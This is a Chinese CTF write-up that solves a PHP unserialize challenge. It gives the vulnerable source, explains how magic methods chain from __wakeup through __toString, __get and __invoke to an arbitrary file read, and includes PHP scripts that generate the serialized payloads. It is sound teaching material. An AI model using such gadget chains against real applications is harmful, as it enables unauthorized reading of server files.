扫描目录发现有www.zip
文件,得到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <meta charset="utf-8" > <?php error_reporting(1 ); class Start { public $name='guest' ; public $flag='syst3m("cat 127.0.0.1/etc/hint");' ; public function __construct ( ) { echo "I think you need /etc/hint . Before this you need to see the source code" ; } public function _sayhello ( ) { echo $this ->name; return 'ok' ; } public function __wakeup ( ) { echo "hi" ; $this ->_sayhello(); } public function __get ($cc ) { echo "give you flag : " .$this ->flag; return ; } } class Info { private $phonenumber=123123 ; public $promise='I do' ; public function __construct ( ) { $this ->promise='I will not !!!!' ; return $this ->promise; } public function __toString ( ) { return $this ->file['filename' ]->ffiillee['ffiilleennaammee' ]; } } class Room { public $filename='/flag' ; public $sth_to_set; public $a='' ; public function __get ($name ) { $function = $this ->a; return $function(); } public function Get_hint ($file ) { $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke ( ) { $content = $this ->Get_hint($this ->filename); echo $content; } } if (isset ($_GET['hello' ])){ unserialize($_GET['hello' ]); }else { $hi = new Start(); } ?>
$this->flag 复习代码,发现
1 2 3 public function __get ($cc ) { echo "give you flag : " .$this ->flag; return ;
由于$flag='syst3m("cat 127.0.0.1/etc/hint");';
一开始的想法是触发这个__get魔术方法
当程序试图调用一个未定义或不可见的成员变量时 ,可以通过get()方法来读取变量值。__get()方法有一个参数,表示要调用的变量名。
刚才代码,发现可以利用这个方法
1 2 3 public function __toString ( ) { return $this ->file['filename' ]->ffiillee['ffiilleennaammee' ]; }
因为ffiillee[‘ffiilleennaammee’]是一个不存在的成员变量
现在的问题又变成如何调用__toString()这个方法
当我们使用 echo
语句输出一个对象时,会自动检查一个对象有没有定义 _toString()
方法,如果定义了,就会输出 __toString()
方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符串。
也就是当echo一个对象时,就会调用__tostring()这个魔术方法。观察代码,发现可以利用
1 2 3 4 5 6 7 8 9 public function _sayhello ( ) { echo $this ->name; return 'ok' ; } public function __wakeup ( ) { echo "hi" ; $this ->_sayhello(); }
我们只要让$this->name等于一个对象,且触发_sayhello()这个方法,而触发__wakeup()就会触发
_sayhello这个方法。
当使用 unserialize()
反序列化一个对象成功后,会自动调用该对象的 __wakup()
魔术方法。
整理一下思路
1 2 3 4 __wakeup _sayhello __tostring __get
编写代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class Start { public $name; public $flag="print(aaa)" ; public function __construct ($a ) { $this ->name=$a; } } class Info { public $file; public function __construct ($w ) { $this ->file['filename' ]=$w; } } $a=new Start(); $b=new Info($a); $c=new Start($b); echo serialize($c);?>
file_get_contents($file) 1 2 3 4 5 6 7 8 9 10 11 public function Get_hint ($file ) { $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke ( ) { $content = $this ->Get_hint($this ->filename); echo $content; }
我们只要调用这个函数,就可以实现文件包含漏洞。
这里首先需要执行这个函数,查看代码,发现只有触发__invoke的魔术方法,就可以执行Get_hint 函数。
接下来就是想办法触发这个魔术方法,
还有使$file=’/flag’或者$file=’/flag.php’等等。
也就是$this->filename需要等于’/flag.php’,而$filename刚好是我们可以控制的,所以最重要的就是触发__invoke这个魔术方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Info { public $a; } class Room {public $filename='/flag' ; public $sth_to_set; public $a='' ; public function __construct ( ) { $a=new Info(); $a(); } } $a= new Room(); echo urlencode(serialize($a));?>
一开始想着是在类里面触发__invoke()这个魔术方法,发现行不通,会报错
借助下面这个代码来了解__invoke()这个函数
__invoke() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php show_source(__FILE__ ); class A { public $file; public $function; function __invoke ( ) { echo "__invoke" ; return file_get_contents($this ->file); } } class B { public $function; function __destruct ( ) { echo "__destruct" ; echo ($this ->function)(); } } @unserialize($_GET['payload' ]);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class A { public $file='flag' ; public $function; } class B { public $function; } $tr = new A(); $sr = new B(); $sr->function = $tr; echo serialize($sr);
到这里发现,如果类里面存在类似($this->function)()
的形式,就能利用它触发__invoke这个函数。
观察这道题的源码
1 2 3 4 5 6 7 8 9 10 class Room { public $filename='/flag' ; public $sth_to_set; public $a='' ; public function __get ($name ) { $function = $this ->a; return $function(); }
发现Room类里面的__get方法满足这个形式。现在的问题变成我们要让$function指向一个类,就可以并且触发
__get方法。而如果去触发
__get方法,我们在一开始有提到。
1 2 3 4 __wakeup _sayhello _tostring __get
而当使用 unserialize()
反序列化一个对象成功后,会自动调用该对象的 __wakeup()
魔术方法。
整理一下思路
1 2 3 4 5 6 __wakeup _sayhello __tostring __get __invoke Get_hint($file)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class Start { public $name; public function __construct ($a ) { $this ->name=$a; } } class Info { public $file; public function __construct ($b ) { $this ->file['filename' ]=$b; } } class Room { public $filename="/flag" ; public $a; public function w ( ) { $this ->a=new Room(); } } $a=new Room(); $a->w(); $b=new Info($a); $c=new Start($b); echo serialize($c);?>